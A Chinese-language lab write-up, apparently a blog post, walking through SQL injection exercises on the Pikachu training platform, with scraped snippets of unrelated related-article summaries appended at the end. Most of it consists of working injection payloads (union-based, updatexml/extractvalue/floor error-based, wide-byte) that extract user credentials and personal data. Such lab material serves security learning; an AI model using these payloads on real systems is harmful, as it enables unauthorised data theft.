web实验三——pikachu之sql注入

(一)数字型注入

首先更改1项的值构造payload找到注入点,之后构造payload注出其他信息

查表名

查字段名

最终输入payload:

value="1 union select concat(id,‘|‘,username,‘|‘,password,‘|‘,level),2 from users"

结果

(二)字符型注入

使用单引号跳出字符串,最后使用#注释掉多余sql语句,跳过前面查表名字段名的步骤,直接给出最后payload:

‘ union select id,concat(username,‘|‘,pw,‘|‘,sex,‘|‘,phonenum,‘|‘,address,‘|‘,email) from member#

(三)搜索型注入

搜索型查询使用的是如下格式sql语句:

select username from user where username like ‘%{$username}%‘;

此时可将{$username}部分构造成payload:

a%‘ union select 1 from member#

此时执行的sql语句为:

select username from user where username like ‘%a%‘ union select 1 from member#%‘;

因此构造最后的payload:

a%‘ union select 1,id,concat(username,‘|‘,pw,‘|‘,sex,‘|‘,phonenum,‘|‘,address,‘|‘,email) from member#

(四)xx型注入

观察源码,这里通过括号加引号的方式闭合字段名,构造相应的payload:

‘) union select id,concat(username,‘|‘,pw,‘|‘,sex,‘|‘,phonenum,‘|‘,address,‘|‘,email) from member#

(五)insert/update/delete注入

在这3种情况中,我们不能使用 union 去做联合查询,因为这不是查询,而是操作

5.1基于函数报错注入(updatexml)

常用的报错函数:updatexml()、extractvalue()、floor()

基于函数报错的信息获取(select / insert / update / delete)

技巧思路:

  • 在 MySQL 中使用一些指定的函数来制造报错,从报错信息中获取设定的信息
  • select / insert /update / delete 都可以使用报错来获取信息

背景条件:

  • 后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端

三个常用函数

  • updatexml(): MySQL 对 XML 文档数据进行查询和修改的 XPATH 函数
  • extractvalue():MySQL 对 XML 文档数据进行查询的 XPATH 函数
  • floor():MySQL中用来取整的函数

updatexml()

updatexml()函数作用:改变(查找并替换)XML 文档中符合条件的节点的值

语法:UPDATEXML (XML_document, XPath_string, new_value)

  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。不过这里用不到。
  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据
  • Xpath语法:https://www.cnblogs.com/Loofah/archive/2012/05/10/2494036.html

XPath 定位必须是有效的,否则会发生错误

我们在 pikachu 平台上的字符型注入中实验,我们利用报错来获取信息,比如下面这条语句

‘ and updatexml(1, version(), 0)#

我们传入 updatexml 中的三个参数都是错误的,中间那个值可以用表达式写入。执行后会得到类似下面的错误

我们需要构造一个新的 payload,把报错信息和我们查询的信息一起输出,构造下面的 payload如下,0x7e是符号 “~” 的16进制

‘ and updatexml(1, concat(0x7e, version()), 0)#

这时候就会打印出我们 MySQL 的数据版本了。那我们把 version() 换成 database() 就能取得数据库的名称了。

知道了数据名我们继续查询表名

‘ and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=‘pikachu‘)), 0)#

但是此时会报错,返回的数据多于 1 行(不止一个表) ,只能显示 1 行报错信息

我们在刚刚的 payload 后面用 limit 关键字,限制取回的结果

‘ and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=‘pikachu‘ limit 0,1)), 0)#

上面返回了查询结果中的第一个表名,如果要查询第二个表名,我们可以把 limit 语句换成 limit 1,1

limit 后的第一个数据是起始位置,第二个数字是取出的数据条数

以此类推,取出所有的表名。有了表的名称后我们就去获取字段

‘ and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name=‘users‘ limit 0,1)), 0)#

以此类推,取出所有的列名。我们就能去取数据了

‘ and updatexml(1, concat(0x7e, (select username from users limit 0,1)), 0)#

然后根据得到的用户名,去查询password

‘ and updatexml(1, concat(0x7e, (select password from users where username = ‘admin‘ limit 0,1)), 0)#

5.2insert/update注入

在这里,注册页面存在注入漏洞

所谓 insert 注入是指我们前端注册的信息,后台会通过 insert 这个操作插入到数据库中。如果后台没对我们的输入做防 SQL 注入处理,我们就能在注册时通过拼接 SQL 注入。

我们就填必填的两项,用户那里输入单引号,密码随便输入,页面会有报错信息,说明存在SQL注入漏洞

这种情况下,我们知道后台使用的是 insert 语句,我们一般可以通过 or 进行闭合。后台的 SQL 语句可能是下面这个样子

insert into member(username,pw,sex,phonenum,email,adderss) values(‘doge‘, 11111, 1, 2, 3, 4);

构造下面的 payload,基于 insert 下的报错来进行注入

doge‘ or updatexml(1, concat(0x7e,database()), 0) or ‘

这时候报错的信息就能前一个例子是一样的,后面的操作也是这样

下面看看 update 注入,比如我们更改密码的时候,后台就是通过 update 去操作的。

登录账号:lucy,123456

我们在这里填入我们刚刚构造的 payload,然后提交也能得到相应的结果

或者可以通过构造闭合将敏感信息通过insert或updata操作写入的方式来进行sql注入

在数据库中可以看到地址一栏已经被写入了敏感信息 ,通过构造payload可将其他敏感信息写入sex,email,address等栏中,通过登录即可查到相关信息。

5.3delete注入

这里有一个留言板,点删除可以把对应的留言删掉

我们点删除并用 BurpSuite 抓包,实际上就是传递了一个留言的 id,后台根据这个 id 去删除留言

后台可能的 SQL 语句如下

delete from message where id=1

我们发送到 Repeater 中继续进行实验,由于参数的值是数字型,所以后台可能存在数字型注入漏洞,构造payload如下(没有单引号)

1 or updatexml(1, concat(0x7e,database()), 0) 

把 payload 经过 URL编码后替换 BurpSuite 中 id 的值

我们也能得到同样的结果

5.4extractvalue()

核心原理是一样的,也是对 XML

  extractvalue()函数作用:从目标 XML 中返回包含所查询值的字符串

语法:ExtractValue(xml_document, XPathstring)

  • 第一个参数:xml_document 是 string 格式,为 XML 文档对象的名称
  • 第二个参数: XPathstring,XPath 格式的字符串

Xpath定位必须有效,否则会发生错误。

同样在字符型漏洞中实验,构造以下 payload

‘ and extractvalue(1, concat(0x7e,database())) #

它跟 updatexml 使用起来效果是一样的

5.5floor()

向下取整。如果要用 floor() 构成报错,必须满足下面的条件

  • 运算中有 count
  • 运算中有 group by
  • 运算中有 rand
‘ and (select 2 from (select count(*), concat(version(), floor(rand(0) * 2))x from information_schema.tables group by x)a)#

上面表达式执行的结果会以 “a” 作为别名,然后在 字符型注入 中提交,会得到下面的报错

我们可以把 version() 的表达式替换成别的表达式

‘ and (select 2 from (select count(*), concat((select password from users where username=‘admin‘ limit 0,1), floor(rand(0) * 2))x from information_schema.tables group by x)a)#

(六)http header注入

通过测试发现,这里的注入点在cookie中,使用报错注入

每次只能显示31个字符,可使用substr函数将所有信息分部显示出来

(七)宽字节注入

宽字节注入就是通过‘0xbf‘与反斜杠结合从而将escape函数给引号前加的反斜杠消除,从而闭合引号,这里通过burp抓包,将其中的‘1’在hex界面中改为bf,再发包

可以看到成功注出信息

构造payload:

lucy(0xbf)‘ union select id,concat(username,pw,sex,phonenum,address,email) from member#

(八)布尔盲注

脚本如下

(九)时间盲注

脚本如下

原文地址:https://www.cnblogs.com/p201721430024/p/12036732.html

时间: 2024-11-08 08:00:44

web实验三——pikachu之sql注入的相关文章

web攻击与防御技术--SQL注入

sql注入是WEB安全中比较重要而复杂的一个东西.而且危害性比较大. 一般来讲SQL注入的话首先要识别注入点.一个是看能不能注入另外一个是看是什么类型的注入比如说字符,数字,搜索(?)等等 GET.POST.HEADER 专门针对一个waf进行测试的时候就要将这几个点全测试个遍,header中还包括Cookie.X-Forwarded-For等,往往除了GET以外其他都是过滤最弱的 一般来讲也是先进行输入尝试,判断WAF.一般来讲简单的语法会被过滤. 不过尝试起来最简单的判断法是这个1^1^0

web安全测试&渗透测试之sql注入~~

渗透测试概念: 详见百度百科 http://baike.baidu.com/link?url=T3avJhH3_MunEIk9fPzEX5hcSv2IqQlhAfokBzAG4M1CztQrSbwsRkSerdBe17H6tTF5IleOCc7R3ThIBYNO-q 前言: 安全测试范围极广,开门见山,楼主对这行了解的也不是太深,也是在学习探索阶段,此文,也是对自己学习的总结与记录和简单的分享:这里没有具体工具的使用方法,更多的是原理细节的了解和解决方案的探讨. code部分: html+jsp

Web攻防之XSS,CSRF,SQL注入

摘要:对Web服务器的攻击也可以说是形形色色.种类繁多,常见的有挂马.SQL注入.缓冲区溢出.嗅探.利用IIS等针对Webserver漏洞进行攻击.本文结合WEB TOP10漏洞中常见的SQL注入,跨站脚本攻击(XSS),跨站请求伪造(CSRF)攻击的产生原理,介绍相应的防范方法. 关键字:SQL注入,XSS,CSRF 1.SQL注入 所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令. 攻击者通过在应用程序预先定义好的SQ

Web攻防之XSS,CSRF,SQL注入(转)

摘要:对Web服务器的攻击也可以说是形形色色.种类繁多,常见的有挂马.SQL注入.缓冲区溢出.嗅探.利用IIS等针对Webserver漏洞进行攻击.本文结合WEB TOP10漏洞中常见的SQL注入,跨站脚本攻击(XSS),跨站请求伪造(CSRF)攻击的产生原理,介绍相应的防范方法.关键字:SQL注入,XSS,CSRF1.SQL注入 所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令. 攻击者通过在应用程序预先定义好的SQL语

Pikachu靶场SQL注入刷题记录

数字型注入 0x01 burp抓包,发送至repeater 后面加and 1=1,and 1=2 可判断存在注入 0x02 通过order by判断字段数,order by 2 和order by 3 返回结果不同,可得字段数为2 0x03 查看表名: union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() 0x04 查询users表中的数据: u

实验吧 简单的SQL注入1

解题链接:http://ctf5.shiyanbar.com/423/web/ 解题思路:一,   输入1,不报错:输入1',报错:输入1'',不报错. 二 ,   输入1 and 1=1,返回1 1=1,可知,and被过滤了. 三,    输入1 union select,返回1 select,猜测关键词被过滤. 四,    用/**/代替空格,爆库:1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schem

pikachu的sql注入

数字型注入(post) burp抓包 成功 字符型注入(get) 直接注入 成功注入. 搜索型注入 使用同样的方法也能同样注入成功 xx型注入 需要闭合 加)之后注入成功. insert/updata 注入 a' or updatexml(1,concat(0x7e, (select column_name from information_schema.columns where table_name='member' limit 1,1)), 0) or ' burp抓包修改 注入成功. d

DVWA(三):SQL injection 全等级SQL注入

(本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患 用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据或进行数据库操作. 三.关于SQL注入需要注意的几个点: 1.SQL注入的攻击流程: (1)判断注入点:一般分为三大类 GET.POST参数触发SQL注入,Cookie触发注入 (2)判断注入类

【渗透攻防Web篇】SQL注入攻击高级

前言 前面我们学习了如何寻找,确认,利用SQL注入漏洞的技术,本篇文章我将介绍一些更高级的技术,避开过滤,绕开防御.有攻必有防,当然还要来探讨一下SQL注入防御技巧. 目录 第五节 避开过滤方法总结 5.1.大小写变种 5.2.URL编码 5.3.SQL注释 5.4.空字节 5.5.二阶SQL注入 第六节 探讨SQL注入防御技巧 6.1.输入验证 6.2.编码输出 正文 第五节 避开过滤方法总结 Web应用为了防御包括SQL注入在内的攻击,常常使用输入过滤器,这些过滤器可以在应用的代码中,也可以